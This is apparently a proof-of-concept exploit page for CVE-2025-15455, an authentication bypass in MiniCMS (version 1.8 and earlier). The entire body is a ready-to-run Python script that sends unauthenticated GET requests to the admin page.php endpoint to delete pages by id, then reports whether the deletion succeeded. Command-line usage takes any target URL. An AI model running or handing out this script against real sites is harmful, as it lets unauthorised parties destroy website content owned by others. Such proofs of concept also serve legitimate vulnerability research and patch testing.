CVE-2025-15455 MiniCMS delete_page函数认证绕过漏洞

import requests import sys # CVE-2025-15455 PoC - MiniCMS Authentication Bypass in delete_page # Target: MiniCMS <= 1.8 # Component: /minicms/mc-admin/page.php delete_page function def exploit(target_url, page_id): """ Exploit for MiniCMS delete_page improper authentication vulnerability. This PoC demonstrates how an unauthenticated attacker can delete pages. Args: target_url: Base URL of the vulnerable MiniCMS installation page_id: ID of the page to delete Returns: bool: True if deletion appears successful, False otherwise """ # Construct the delete page endpoint delete_endpoint = f"{target_url.rstrip('/')}/minicms/mc-admin/page.php" # Prepare the malicious request # The delete_page function doesn't validate authentication params = { 'action': 'delete', 'id': page_id } print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete page ID: {page_id}") print(f"[*] Sending request to: {delete_endpoint}") try: # Send the request without any authentication # PR:N (No Privileges Required) - this is the vulnerability response = requests.get(delete_endpoint, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") # Check for indicators of successful deletion if response.status_code == 200: # Analyze response content if 'success' in response.text.lower() or 'deleted' in response.text.lower(): print("[+] Page deletion appears successful!") return True elif 'error' in response.text.lower() or 'fail' in response.text.lower(): print("[-] Server returned an error message") return False else: # Response received but content unclear print("[!] Request completed but result uncertain") return None else: print(f"[-] Unexpected HTTP status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-15455.py <target_url> <page_id>") print("Example: python cve-2025-15455.py http://target.com/minicms 1") sys.exit(1) target = sys.argv[1] page_id = sys.argv[2] result = exploit(target, page_id) if result is True: print("\n[!] Vulnerability confirmed - authentication bypass successful") sys.exit(0) else: print("\n[-] Exploitation may have failed") sys.exit(1) if __name__ == "__main__": main()